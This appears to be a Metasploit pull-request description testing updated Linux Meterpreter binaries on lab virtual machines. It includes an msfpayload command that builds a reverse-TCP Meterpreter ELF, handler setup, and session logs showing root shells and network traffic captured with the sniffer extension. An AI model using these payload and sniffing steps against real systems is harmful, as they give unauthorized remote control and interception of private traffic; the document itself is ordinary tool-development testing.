Update Linux meterpreter binaries

These binaries includes the patch here: https://github.com/rapid7/meterpreter/pull/92

The main intent of the pull request above is fix: https://dev.metasploit.com/redmine/issues/6355

* Verification

- [ ] Use msfpayload to generate an elf embedding the meterpreter stager

```
./msfpayload linux/x86/meterpreter/reverse_tcp LHOST=172.16.158.1 LPORT=4444 X > /tmp/meterpreter.elf
```

- [ ] Use the ```exploit/multi/handler``` and the elf above to get linux meterpreter sessions. Verify which the session is usable (use ```getuid``` and ```sysinfo``` commands).

- [ ] Verify which you can load the sniffer extension and capture traffic on 32 and 64 bits machines. Use individual network interfaces (such as 'eth0').

- [ ] ADDITIONAL step: on my tests these binaries allow also to capture traffic on the 'any' interface. Worths to verify. I've been able to test only on **virtual machines** atm. According to @OJ, it is not working on his 64 bits testing (see https://github.com/rapid7/meterpreter/pull/92). Would like to get more feedback, specially from people who has real 64 bits machines running linux.

Test results
--------

* Ubuntu 13.10 32 bits

```
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1138688 bytes) to 172.16.158.208
[*] Meterpreter session 5 opened (172.16.158.1:4444 -> 172.16.158.208:39960) at 2014-07-14 09:09:49 -0500

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0, suid=0, sgid=0
meterpreter > sysinfo
Computer     : ubuntu
OS           : Linux ubuntu 3.11.0-12-generic #19-Ubuntu SMP Wed Oct 9 16:12:00 UTC 2013 (i686)
Architecture : i686
Meterpreter  : x86/linux
meterpreter > load sniffer
Loading extension sniffer...success.
meterpreter > sniffer_interfaces

1 - 'eth0' ( type:0 mtu:1514 usable:false dhcp:false wifi:false )
2 - 'any' ( type:0 mtu:1514 usable:false dhcp:false wifi:false )
3 - 'lo' ( type:0 mtu:1514 usable:false dhcp:false wifi:false )

meterpreter > sniffer_start 2
[*] Capture started on interface 2 (50000 packet buffer)
meterpreter > sniffer_stop 2
[*] Capture stopped on interface 2
[*] There are 728 packets (94600 bytes) remaining
[*] Download or release them using 'sniffer_dump' or 'sniffer_release'
meterpreter > sniffer_dump 2 /tmp/ubuntu13.1032bits.pcap
[*] Flushing packet capture buffer for interface 2...
[*] Flushed 728 packets (109160 bytes)
[*] Downloaded 100% (109160/109160)...
[*] Download completed, converting to PCAP...
[*] PCAP file written to /tmp/ubuntu13.1032bits.pcap
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.16.158.208 - Meterpreter session 5 closed.  Reason: User exit
```

* Ubuntu 12.04 32 bits

```
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1138688 bytes) to 172.16.158.210
[*] Meterpreter session 6 opened (172.16.158.1:4444 -> 172.16.158.210:37438) at 2014-07-14 09:13:11 -0500

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0, suid=0, sgid=0
meterpreter > sysinfo
Computer     : ubuntu
OS           : Linux ubuntu 3.2.0-23-generic-pae #36-Ubuntu SMP Tue Apr 10 22:19:09 UTC 2012 (i686)
Architecture : i686
Meterpreter  : x86/linux
meterpreter > load sniffer
Loading extension sniffer...success.
meterpreter > sniffer_interfaces

1 - 'eth0' ( type:0 mtu:1514 usable:false dhcp:false wifi:false )
2 - 'eth1' ( type:0 mtu:1514 usable:false dhcp:false wifi:false )
3 - 'any' ( type:0 mtu:1514 usable:false dhcp:false wifi:false )
4 - 'lo' ( type:0 mtu:1514 usable:false dhcp:false wifi:false )

meterpreter > sniffer_start 3
[*] Capture started on interface 3 (50000 packet buffer)
meterpreter > sniffer_stop 2
[-] sniffer_capture_stop: Operation failed: 22
meterpreter > sniffer_stop 3
[*] Capture stopped on interface 3
[*] There are 689 packets (82079 bytes) remaining
[*] Download or release them using 'sniffer_dump' or 'sniffer_release'
meterpreter > sniffer_dump 3 /tmp/ubuntu12.04bits_32bits.pcap
[*] Flushing packet capture buffer for interface 3...
[*] Flushed 689 packets (95859 bytes)
[*] Downloaded 100% (95859/95859)...
[*] Download completed, converting to PCAP...
[*] PCAP file written to /tmp/ubuntu12.04bits_32bits.pcap
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.16.158.210 - Meterpreter session 6 closed.  Reason: User exit
```

* Ubuntu 10.04 32 bits

```
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1138688 bytes) to 172.16.158.188
[*] Meterpreter session 1 opened (172.16.158.1:4444 -> 172.16.158.188:55629) at 2014-07-14 08:51:15 -0500

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0, suid=0, sgid=0
meterpreter > sysinfo
Computer     : ubuntu
OS           : Linux ubuntu 2.6.32-38-generic #83-Ubuntu SMP Wed Jan 4 11:13:04 UTC 2012 (i686)
Architecture : i686
Meterpreter  : x86/linux
meterpreter > load sniffer
Loading extension sniffer...success.
meterpreter > sniffer_interfaces

1 - 'eth2' ( type:0 mtu:1514 usable:false dhcp:false wifi:false )
2 - 'eth3' ( type:0 mtu:1514 usable:false dhcp:false wifi:false )
3 - 'any' ( type:0 mtu:1514 usable:false dhcp:false wifi:false )
4 - 'lo' ( type:0 mtu:1514 usable:false dhcp:false wifi:false )

meterpreter > sniffer_start 3
[*] Capture started on interface 3 (50000 packet buffer)
meterpreter > sniffer_stop 3
[*] Capture stopped on interface 3
[*] There are 219 packets (31334 bytes) remaining
[*] Download or release them using 'sniffer_dump' or 'sniffer_release'
meterpreter > sniffer_dump 3 /tmp/ubuntu10.04_32bits.pcap
[*] Flushing packet capture buffer for interface 3...
[*] Flushed 219 packets (35714 bytes)
[*] Downloaded 100% (35714/35714)...
[*] Download completed, converting to PCAP...
[*] PCAP file written to /tmp/ubuntu10.04_32bits.pcap
meterpreter >
```

* Fedora 20 32 bits

```
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1138688 bytes) to 172.16.158.189
[*] Meterpreter session 2 opened (172.16.158.1:4444 -> 172.16.158.189:36352) at 2014-07-14 08:55:21 -0500

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0, suid=0, sgid=0
meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : Linux localhost.localdomain 3.11.10-301.fc20.i686 #1 SMP Thu Dec 5 14:21:31 UTC 2013 (i686)
Architecture : i686
Meterpreter  : x86/linux
meterpreter > load sniffer
Loading extension sniffer...success.
meterpreter > sniffer_interfaces

1 - 'eno16777736' ( type:0 mtu:1514 usable:false dhcp:false wifi:false )
2 - 'any' ( type:0 mtu:1514 usable:false dhcp:false wifi:false )
3 - 'lo' ( type:0 mtu:1514 usable:false dhcp:false wifi:false )

meterpreter > sniffer_start 2
[*] Capture started on interface 2 (50000 packet buffer)
meterpreter > sniffer_stop 2
[*] Capture stopped on interface 2
[*] There are 765 packets (108117 bytes) remaining
[*] Download or release them using 'sniffer_dump' or 'sniffer_release'
meterpreter > sniffer_dump 2 /tmp/fedora_20_32bits.pcap
[*] Flushing packet capture buffer for interface 2...
[*] Flushed 765 packets (123417 bytes)
[*] Downloaded 100% (123417/123417)...
[*] Download completed, converting to PCAP...
[*] PCAP file written to /tmp/fedora_20_32bits.pcap
meterpreter >
```


* Fedora 15 32 bits

```
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1138688 bytes) to 172.16.158.193
[*] Meterpreter session 4 opened (172.16.158.1:4444 -> 172.16.158.193:60029) at 2014-07-14 09:07:06 -0500

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0, suid=0, sgid=0
meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : Linux localhost.localdomain 2.6.38.6-26.rc1.fc15.i686 #1 SMP Mon May 9 20:43:14 UTC 2011 (i686)
Architecture : i686
Meterpreter  : x86/linux
meterpreter > load sniffer
Loading extension sniffer...success.
meterpreter > sniffer_interfaces

1 - 'eth0' ( type:0 mtu:1514 usable:false dhcp:false wifi:false )
2 - 'any' ( type:0 mtu:1514 usable:false dhcp:false wifi:false )
3 - 'lo' ( type:0 mtu:1514 usable:false dhcp:false wifi:false )

meterpreter > sniffer_start 2
[*] Capture started on interface 2 (50000 packet buffer)
meterpreter > sniffer_stop 2
[*] Capture stopped on interface 2
[*] There are 333 packets (40596 bytes) remaining
[*] Download or release them using 'sniffer_dump' or 'sniffer_release'
meterpreter > sniffer_dump 2 /tmp/fedora_15_32bits.pcap
[*] Flushing packet capture buffer for interface 2...
[*] Flushed 333 packets (47256 bytes)
[*] Downloaded 100% (47256/47256)...
[*] Download completed, converting to PCAP...
[*] PCAP file written to /tmp/fedora_15_32bits.pcap
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.16.158.193 - Meterpreter session 4 closed.  Reason: User exit
msf exploit(handler) >
```

* Ubuntu 12.04 64 bits

```
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1138688 bytes) to 172.16.158.206
[*] Meterpreter session 7 opened (172.16.158.1:4444 -> 172.16.158.206:37085) at 2014-07-14 09:17:24 -0500

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0, suid=0, sgid=0
meterpreter > sysinfo
Computer     : ubuntu
OS           : Linux ubuntu 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed Aug 14 16:19:23 UTC 2013 (x86_64)
Architecture : x86_64
Meterpreter  : x86/linux
meterpreter > load sniffer
Loading extension sniffer...success.
meterpreter > sniffer_interfaces

1 - 'eth0' ( type:0 mtu:1514 usable:false dhcp:false wifi:false )
2 - 'any' ( type:0 mtu:1514 usable:false dhcp:false wifi:false )
3 - 'lo' ( type:0 mtu:1514 usable:false dhcp:false wifi:false )

meterpreter > sniffer_start 2
[*] Capture started on interface 2 (50000 packet buffer)
meterpreter > sniffer_stop
[-] Usage: sniffer_stop [interface-id]
meterpreter > sniffer_stop 2
[*] Capture stopped on interface 2
[*] There are 446 packets (39389 bytes) remaining
[*] Download or release them using 'sniffer_dump' or 'sniffer_release'
meterpreter > sniffer_dump 2 /tmp/ubuntu12.04_64bits.pcap
[*] Flushing packet capture buffer for interface 2...
[*] Flushed 446 packets (48309 bytes)
[*] Downloaded 100% (48309/48309)...
[*] Download completed, converting to PCAP...
[*] PCAP file written to /tmp/ubuntu12.04_64bits.pcap
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.16.158.206 - Meterpreter session 7 closed.  Reason: User exit
```

* Fedora 20 64 bits

```
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] Starting the payload handler...


[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1138688 bytes) to 172.16.158.211
[*] Meterpreter session 8 opened (172.16.158.1:4444 -> 172.16.158.211:43547) at 2014-07-14 09:53:06 -0500

meterpreter >
meterpreter >
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0, suid=0, sgid=0
meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : Linux localhost.localdomain 3.11.10-301.fc20.x86_64 #1 SMP Thu Dec 5 14:01:17 UTC 2013 (x86_64)
Architecture : x86_64
Meterpreter  : x86/linux
meterpreter > load sniffer
Loading extension sniffer...success.
meterpreter > sniffer_interfaces

1 - 'eno16777736' ( type:0 mtu:1514 usable:false dhcp:false wifi:false )
2 - 'any' ( type:0 mtu:1514 usable:false dhcp:false wifi:false )
3 - 'lo' ( type:0 mtu:1514 usable:false dhcp:false wifi:false )

meterpreter > sniffer_start 2
[*] Capture started on interface 2 (50000 packet buffer)
meterpreter > sniffer_stop 2
[*] Capture stopped on interface 2
[*] There are 1539 packets (147922 bytes) remaining
[*] Download or release them using 'sniffer_dump' or 'sniffer_release'
meterpreter > sniffer_dump 2 /tmp/fedora20_64bits.pcap
[*] Flushing packet capture buffer for interface 2...
[*] Flushed 1539 packets (178702 bytes)
[*] Downloaded 100% (178702/178702)...
[*] Download completed, converting to PCAP...
[*] PCAP file written to /tmp/fedora20_64bits.pcap
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.16.158.211 - Meterpreter session 8 closed.  Reason: User exit
```